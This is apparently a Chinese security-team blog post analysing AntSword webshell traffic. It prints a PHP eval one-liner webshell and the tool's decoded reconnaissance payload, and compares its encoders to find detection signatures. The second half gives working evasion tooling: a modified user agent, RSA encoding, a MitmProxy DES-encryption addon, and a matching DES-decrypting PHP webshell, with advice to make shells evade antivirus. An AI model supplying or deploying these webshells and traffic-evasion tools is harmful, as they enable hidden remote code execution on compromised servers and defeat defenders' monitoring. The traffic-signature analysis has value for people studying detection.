搭建php环境使用经典的一句话作为web端的shell文件。
设置蚁剑代理,使用burp抓包分析流量。
分析测试连接数据包。
因为这里使用的一句话是<?php @eval($_POST["x"]); ?>,所以这里post数据中有一个x参数,后面跟上了命令。从数据包中还可以看到蚁剑的UA头是antSword/v2.1,这是一个很明显的特征更改方式会在下文中提出,现在先分析测试连接数据包中的内容,将数据包进行url编码并格式化后得到如下代码:
<?php
@ini_set("display_errors", "0"); # 临时关闭PHP的错误显示功能。
@set_time_limit(0); # 设置执行时间,为零表示执行永久执行直到程序结束,防止超时。
function asenc($out) { # 创建asenc函数,此函数功能是接收参数然后直接返回
return $out;
}
;
function asoutput() {
$output=ob_get_contents(); # 返回输出缓冲区的内容
ob_end_clean(); # 清空(擦除)缓冲区并关闭输出缓冲
echo "d3cb3bf73a"; # 随机字符,作为开始和结束的分隔符
echo @asenc($output); # 输出缓冲区的内容
echo "f2ac69e9";
}
# 打开输出控制缓冲,将需要输出的内容存储在内部缓冲区中
# asoutput变量中的ob_get_contents函数会将内部缓冲区的内容复制到output变量中
ob_start();
try {
# $_SERVER['SCRIPT_FILENAME']全局预定义变量用于获取当前执行脚本的完整路径
# dirname()函数获取给定文件路径中的目录部分
$D=dirname($_SERVER["SCRIPT_FILENAME"]); # 获取当前执行脚本的执行目录
# $_SERVER["PATH_TRANSLATED"]获取脚本所在文件系统(不是文档根目录)的基本路径
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
# 把得到的目录信息赋值给$R
$R="{$D} ";
# 先判断$D的第一位是不是 /,如果不是则为windows系统开始判断磁盘数
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:"; # is_dir此函数的结果会被缓存然后被asoutput函数输出
}
# 假如是linux的,就直接在后面加了个 /
else {
$R.="/";
}
$R.=" "; # tab为了美化输出
# function_exists如果给定的函数已经被定义就返回 TRUE
# posix_getpwuid通过用户ID返回有关用户的信息
# posix_geteuid返回当前进程的有效用户ID
# 判断posix_getegid函数是否存在,如果存在posix_getegid函数存在就获取信息赋值给$u,否则$u为空
$u=(function_exists("posix_getegid"))[email protected]_getpwuid(@posix_geteuid()):"";
# 判断$u是否为空,如果不为空就获取键值为name的值给$s,否则用get_current_user函数获取当前PHP脚本所有者的名称赋值给$s
$s=($u)?$u["name"]:@get_current_user(); # get_current_user以字符串返回用户名
$R.=php_uname(); # php_uname() 返回了运行 PHP 的操作系统的描述
$R.=" {$s}"; # 拼接后得到测试连接包返回的信息
echo $R;
;
}
# 假如出错就返回错误信息
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput(); # 调用上面asoutput函数输出缓冲区内容
die(); # 输出一个消息并且退出当前脚本
?>
通过输出测试连接数据包中携带的代码可以看出测试连接数据包主要获取了服务端当前目录、根目录、系统和当前用户名等信息,输入到缓冲区再由$output变量接收,通过随机字符作为开始结束符定位变量输出位置。
蚁剑中也支持自定义的数据分割符:
下面设置蚁剑的编码器为base64,解码器是default
通过burp抓取测试连接的数据包,可以发现蚁剑会随机生成一个参数传入base64编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64解码后使用eval执行
将代码base64解码后还原发现代码与default代码相同,只是在传参的时候将要执行的代码进行了base64编码
如果将解码器设置为base64,可以看到响应包内容会进行base64编码返回:
首先将数据包进行url解码再进行base64解码格式化得到执行代码,通过与default代码对比分析发现只有如下不同:
也就是说选择的解码器会在asenc函数中将输出的内容进行编码后由蚁剑进行解密。
如下图所示,chr编码模式下的数据包:
通过数据包可发现,chr编码下的数据会先将代码的每一个字符进行Ascii的编码通过chr函数返回字符然后eval执行
通过数据包可发现,蚁剑会随机生成一个参数传入rot13编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行rot13解码后使用eval执行,可以发现rot13和base64编码方式都是获取随机参数的值解码后eval执行。此次解码器设置的是rot13,可以发现响应包的数据进行了rot13编码。
通过上面描述的base64解码器代码中的内容可推测设置解码器为rot13,那么就会在asenc函数中将返回值进行rot13编码后由蚁剑解码。
通过以上不同编码方式产生的数据可以看到虽然代码进行了编码操作,但是数据包中仍有明显的特征,测试流量中的数据包都是采用@ini_set函数开头,在base64数据包中它是QGluaV9zZXQ,在chr编码数据包中是cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116),在rot13编码数据包中是@vav_frg并且编码后的数据包中都存在eval这个敏感函数。其实只要原始数据不变无论执行怎样的编码操作发送的请求都是相同的,那么就可以找寻编码后的特征进行流量检测。
将antSword/modules/request.js文件中的常量USER_AGENT的值更改为自定义ua头。
重启蚁剑后成功更改UA头。
从AntSword v2.1.0版本开始,新增了PHP RSA编码器,AntSword下拉菜单中找到编码设置,点击RSA配置输入公钥和私钥后点击生成会生成一段PHP shell代码。
复制代码并上传到服务器,然后点击新建编码器创建一个PHP RSA编码器,之后连接生成shell文件,选择编码器为刚刚创建的PHP RSA编码器测试连接。需要注意的是蚁剑自动生成的shell代码需要进行免杀操作。
再来看看流量已经完全加密,如下
利用代理工具将蚁剑传输的数据进行自定义加密后发送给webshell,由webshell解密数据进行执行。原理类似下图:
在这里使用MitmProxy作为代理,编写MitmProxy插件对数据进行加解密,直接pip安装MitmProxy即可(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)
import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote
key = "1qaz2wsx"
# 加密
def encrypt_str(key,data):
# 加密方法
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 执行加密码
k = method.encrypt(data)
# 转base64编码并返回
return base64.b64encode(k)
# 解密
def decrypt_str(key,data):
method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
# 对base64编码解码
k = base64.b64decode(data)
# 再执行Des解密并返回
return method.decrypt(k)
class Counter:
def __init__(self):
pass
def request(self, flow: mitmproxy.http.HTTPFlow):
""" 请求包修改 """
location = str(flow.request.content).find("&x") # 这里的x是连接密码,需要自己修改
if location == -1:
# 对测试连接流量进行加密
password = str(flow.request.content).split('=',1)[0]
content = str(flow.request.content).split('=',1)[1]
# 对传输的代码进行加密
content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8")
can = password + "="
can = bytes(can,encoding="utf-8")
content = can + content
content = str(content)
# 删除content str后产生的多余的字节流标志
content = content.replace("b\"b\'","")
else:
# 对具体执行的操作进行加密,包括文件相关以及命令相关的所有数据
parameter = str(flow.request.content)[0:location]
content = str(flow.request.content)[location + 1:]
password = content.split('=',1)[0]
content = content.split('=',1)[1] # + parameter
content = content.replace("\'&b\'","&")
content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8")
can2 = "&" + password + "="
can2 = bytes(can2,encoding="utf-8")
parameter = bytes(parameter,encoding="utf-8")
content = parameter + can2 + content
print(content)
content = str(content)
# 删除content str后产生的多余的字节流标志
content = content.replace("b\"b\'","")
content = content.replace("b\"","")
content = content.replace("b\'","")
# 发送加密后的数据
flow.request.content = bytes(content, encoding="utf-8")
print(flow.request.content)
def response(self,flow: mitmproxy.http.HTTPFlow):
""" 响应包返回 """
print(flow.response.content)
addons = [
Counter()
]
<?php
// 加密
function des_encrypt($str, $key) {
$block = mcrypt_get_block_size('des', 'ecb');
$pad = $block - (strlen($str) % $block);
$str .= str_repeat(chr($pad), $pad);
return mcrypt_encrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
}
// 解密
function des_decrypt($str, $key) {
// $str = urldecode($str);
$str = base64_decode($str);
// echo $str;
$str = mcrypt_decrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
$len = strlen($str);
$block = mcrypt_get_block_size('des', 'ecb');
$pad = ord($str[$len - 1]);
$str = urldecode($str);
$str = rtrim($str, "\x00..\x1F");
$str = substr($str, 0, -1);
// return $str;
// echo $str;
return substr($str, 0, $len - $pad);
}
//设置AES秘钥
$key = '1qaz2wsx'; //此处填写前后端共同约定的秘钥
$content = $_POST["x"];
$code = des_decrypt($content, $key);
@eval($code);
?>
将支持 DES 加密的 Webshell 上传到服务器
运行下列代码开启代理中转(使用 -p 可以自定以端口
Windows:mitmdump -k -s 插件路径 Linux:mitmproxy -k -s 插件路径
蚁剑添加mitmproxy代理,默认端口8080
完成上面步骤首先测试测试连接流量数据,数据如下所示已经完全加密并且正常获取到响应(在星号之间的数据是发送的数据,在等号之间的是获取的响应)
然后接下来测试文件相关操作,可以正常获取数据,经过测试文件上传下载均正常使用。
接下来是命令执行相关的数据包加密情况:
可以看到命令执行相关的代码也进行了加密并且响应包正常返回。
蚁剑作为一款开源工具,自带的编码器和解码器的特征是很明显的,由于蚁剑的开源所以可以通过更改配置文件来达到流量加密,也可以使用一些其他方式如代理中转方式进行流量加密,同样也可以编写蚁剑插件进行编码解码,流量加密的方式不止一种,选择自己擅长的就行。
https://blog.csdn.net/qq_43622442/article/details/105596701
https://www.freebuf.com/articles/network/229193.html
https://www.anquanke.com/post/id/223085
https://cloud.tencent.com/developer/article/1578215
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。